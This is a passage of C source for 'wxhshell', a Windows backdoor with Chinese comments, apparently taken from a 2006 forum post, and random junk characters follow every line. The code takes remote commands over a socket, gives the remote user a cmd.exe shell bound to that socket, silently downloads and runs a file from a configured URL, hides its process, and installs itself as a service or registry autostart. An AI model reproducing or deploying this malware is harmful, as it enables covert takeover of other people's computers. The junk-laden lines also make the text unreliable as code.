  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^K[xVB(&  
  } sDgo G  
  else { W1o6Sh8v(  
KpG'E  
    switch(cmd[0]) { cJm},  
  (`Y;U(n  
  // 帮助 !2B~.!&   
  case '?': { A ][ ;v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r!{i2I|  
    break; 8$JJI( {bH  
  } (F;*@Z*R  
  // 安装 1F0];{a  
  case 'i': { 56c3tgVF  
    if(Install())  ]E :L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6WJj3h N  
    else kN<;*jHV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jl;N Fk%  
    break; l8Yr]oNkz  
    } FLsJ<C~/~  
  // 卸载 Y -BZV |  
  case 'r': { KvPLA{  
    if(Uninstall()) H^B,b !5i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xV`)?hEXFh  
    else hms Aim9i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mOjjw_3gq  
    break; `K$;K8!1  
    } dEf5x_TGm  
  // 显示 wxhshell 所在路径 ~nj+" d]  
  case 'p': { ,{"K^  
    char svExeFile[MAX_PATH]; .,thdqOO  
    strcpy(svExeFile,"\n\r"); vcy(!r  
      strcat(svExeFile,ExeFile); bjj F{T  
        send(wsh,svExeFile,strlen(svExeFile),0); U b\&k[F  
    break; +=L+35M  
    } 9*"K+t:  
  // 重启 Q.8^F  
  case 'b': { d`?EEO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .aK=z)  
    if(Boot(REBOOT)) ]=|iO~WN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h52+f  
    else { i7\>uni  
    closesocket(wsh); Uq%|v  
    ExitThread(0); )zP"Uuu  
    } 2gvS`+<TP  
    break; \"yR[.Q?   
    } T sJ71  
  // 关机 /3"S_KE1@+  
  case 'd': { &7,/^ >">  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M-!#-l  
    if(Boot(SHUTDOWN)) >Zf*u;/dW$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); su-0G?c  
    else { q{yzux  
    closesocket(wsh); >X>]QMfh  
    ExitThread(0); @X/-p3729  
    } z%6egi>  
    break; 3U?^49bJ  
    } SN QLEe  
  // 获取shell l29AC}^  
  case 's': { ]?jmRk^ .  
    CmdShell(wsh); Gv(n2r  
    closesocket(wsh); <(qdxdUp  
    ExitThread(0); e [F33%  
    break; Uzn  
  } eLyIQoW  
  // 退出 wDh&S{N  
  case 'x': { w6B`_Z'f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iVqF]2 >  
    CloseIt(wsh); a}Jy o!.  
    break; KA`)dMWL  
    } wp/x|AV  
  // 离开 P}PMRAek  
  case 'q': { )fT0FLl|1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6~k qU4lL  
    closesocket(wsh); J2`OJsMwWe  
    WSACleanup(); @ 6b;sv1W  
    exit(1); SYOU &*  
    break; 8wS9%+  
        } f K4M:_u  
  } WN#dR~>  
  } Hp fTuydU  
=0U"07%}  
  // 提示信息 j!"NEh78H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5_L43-  
} o{ | |Ig  
  } MD+ eLA7  
PzLV}   
  return; -1!s8G  
} y|.dM.9V  
A<g5:\3  
// shell模块句柄 rHtX4;f+><  
int CmdShell(SOCKET sock) +d6Jrd*  
{ sy9YdPPE  
STARTUPINFO si; fli7Ow?M~  
ZeroMemory(&si,sizeof(si)); piiO5fK|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _lk5\bu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (b1rd  
PROCESS_INFORMATION ProcessInfo; X`daaG_l  
char cmdline[]="cmd"; "w{,ndZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `udZ =S"/L  
  return 0; 3dI(gm6  
}  PuU<  
Z~7}  
// 自身启动模式 xWty2/!h  
int StartFromService(void) t== a(e  
{ RQ51xTOL4]  
typedef struct 'nqVcNgb  
{ "}UYsXg  
  DWORD ExitStatus; pvd9wKz  
  DWORD PebBaseAddress; 7m 9T'  
  DWORD AffinityMask; ngaQa-8w  
  DWORD BasePriority; ),I7+rY  
  ULONG UniqueProcessId; AzBpQb*  
  ULONG InheritedFromUniqueProcessId; c6pGy%T-  
}   PROCESS_BASIC_INFORMATION; S4X['0rX!  
7otqGE\2  
PROCNTQSIP NtQueryInformationProcess; C)s*1@af  
s!BZrVM%I`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t+SLU6j,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j(=zc6m  
TsZX'Yn  
  HANDLE             hProcess; E@;v|Xc  
  PROCESS_BASIC_INFORMATION pbi; 1^=[k  
4=n%<U`Z/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 27jZ~Bp$  
  if(NULL == hInst ) return 0; 0 :1ldU 4  
12%4>2}~>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - e"XEot~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1HNX 6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m-!z(vcn  
|teDe6 \m  
  if (!NtQueryInformationProcess) return 0; k+&1?]   
vR\[IV?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _b 8XF&O  
  if(!hProcess) return 0; Z$a4@W9o  
nnO@$T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g|l|)T.s  
+^.Q%b0Xx  
  CloseHandle(hProcess); /T2f~1R  
x?Oc<CQ-2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4&LoE~  
if(hProcess==NULL) return 0; x@>^c:-f  
=Hs~fHa)  
HMODULE hMod; cYEe`?*  
char procName[255]; ud.Bzg:/  
unsigned long cbNeeded; 3#T_(  
RJI*ZNb A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6hm6h7$F1  
_A/ ]m4  
  CloseHandle(hProcess); k-vxKrjZ/  
;R?9|:7  
if(strstr(procName,"services")) return 1; // 以服务启动 |tS~\_O/  
cB[.ET$  
  return 0; // 注册表启动 4) nQBFX  
} dQL! >6a  
OG}D;Ew  
// 主模块 QWGFXy,=1  
int StartWxhshell(LPSTR lpCmdLine) !bCLi>8  
{ &9'JHF!l  
  SOCKET wsl; >(HUW^T/9z  
BOOL val=TRUE; 9wFQ<r  
  int port=0; RsDI7v  
  struct sockaddr_in door; =<[ZFO~v  
;EfMTI}6K  
  if(wscfg.ws_autoins) Install(); KPA5 X]  
MXhRnVz"W  
port=atoi(lpCmdLine); B1Iq:5nmoS  
{N,w5!cP  
if(port<=0) port=wscfg.ws_port; uy;3s=03^  
D r$N{d  
  WSADATA data; 5OUe |mS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {\e wf_pFk  
g)iSC?H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !f\6=Z?>3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DEC,oX!bI1  
  door.sin_family = AF_INET; yMa5?]J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w,.Hdd6  
  door.sin_port = htons(port); T;< >""T  
 93(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }a_: oR  
closesocket(wsl); m"vV=6m|\  
return 1; [ @/[#p  
} Va/ p   
~ +$l9~`{  
  if(listen(wsl,2) == INVALID_SOCKET) { 6dmTv9e  
closesocket(wsl); Ja#idF[V  
return 1; Z [5HI;  
} n{Mj<\kL  
  Wxhshell(wsl); (Qq$ql27  
  WSACleanup(); Q\:'gx8`  
{w^flizY  
return 0; V*'9yk"  
E|Grk  
} `czXjZE  
(<.1o_Q-LU  
// 以NT服务方式启动 +T^m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WiviH#hF  
{ Ahq^dx#o  
DWORD   status = 0; #PA"l` "  
  DWORD   specificError = 0xfffffff; 6CU8BDN  
1.H"$D>TC  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  Phgn|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]@ [=FK^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }wkBa]  
  serviceStatus.dwWin32ExitCode     = 0;  5>w>J  
  serviceStatus.dwServiceSpecificExitCode = 0; 1^zF/$%  
  serviceStatus.dwCheckPoint       = 0; gi@+2 7;  
  serviceStatus.dwWaitHint       = 0; Z9aDE@A  
>8tE`2[i*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5#f&WL*U@  
  if (hServiceStatusHandle==0) return;  D#m+w  
D0k7)\puQ  
status = GetLastError(); D1O7S]j  
  if (status!=NO_ERROR) Vq'&t<K#  
{ m9xu$z| e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }}(~'  
    serviceStatus.dwCheckPoint       = 0; \^-3)*r  
    serviceStatus.dwWaitHint       = 0; ?\#4`9  
    serviceStatus.dwWin32ExitCode     = status; 4'rk3nT8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y!*,G]7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xG}eiUbM`  
    return; +ic~Sar  
  } *} w.xt  
SKfv.9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iKS9Xss8  
  serviceStatus.dwCheckPoint       = 0; U.6hLFcE  
  serviceStatus.dwWaitHint       = 0; 9 [I ro  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,.}PZL  
} T8hQ< \g  
3iEcLhe"4  
// 处理NT服务事件,比如:启动、停止 &GD7ldck  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oG*lU h}  
{ Iwn@%?7  
switch(fdwControl) MB |(,{S  
{ Ol%*3To  
case SERVICE_CONTROL_STOP: *j*jA/  
  serviceStatus.dwWin32ExitCode = 0; q-8  GD7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y]gt86  
  serviceStatus.dwCheckPoint   = 0; *,n7&  
  serviceStatus.dwWaitHint     = 0; cq9Q7<&MF  
  { 1k/l7&n"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dna f>G3  
  } \iE'E  
  return; Om1z  
case SERVICE_CONTROL_PAUSE: tt[_+e\4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %mYIXsuH  
  break; y=j[v},4  
case SERVICE_CONTROL_CONTINUE: bL[PNUG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iw<c 9w8  
  break; v S+~4Q41  
case SERVICE_CONTROL_INTERROGATE: ca-n:1  
  break; .N+xpxdG,  
}; XWUT b\@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YJ6vyG>%C  
} T i/iD2g  
a "1$z`ln  
// 标准应用程序主函数 {oJa8~P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EqmJXDm  
{ D!sSe|sL^  
s,29_z7  
// 获取操作系统版本 &4%J35~  
OsIsNt=GetOsVer(); q7PRJX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SmLYxH3F  
.>nd@oU  
  // 从命令行安装 -*Pt781  
  if(strpbrk(lpCmdLine,"iI")) Install(); h9-Ky@X`  
G_<[sMC8  
  // 下载执行文件 =dw1Q  
if(wscfg.ws_downexe) { dB,#`tc=,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eJA{]^Zf  
  WinExec(wscfg.ws_filenam,SW_HIDE); [;2:lbPx  
} >>8w(PdTn%  
JS:lysu  
if(!OsIsNt) { &e)p6Egl  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Df36-74v5  
HideProc(); ^U?(g0<"  
StartWxhshell(lpCmdLine); ^MW%&&,BL  
} Rp|&1nS  
else &sgwY  
  if(StartFromService()) yk)j;i4@  
  // 以服务方式启动 iL gt_@g  
  StartServiceCtrlDispatcher(DispatchTable); 8JrGZ8Q4RM  
else I7_D $a=  
  // 普通方式启动 IjRmpVcwN  
  StartWxhshell(lpCmdLine); vWovR`  
_Xv/S_yW  
return 0; . R}y"O\  
}
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只看该作者 1 发表于: 2006-10-10
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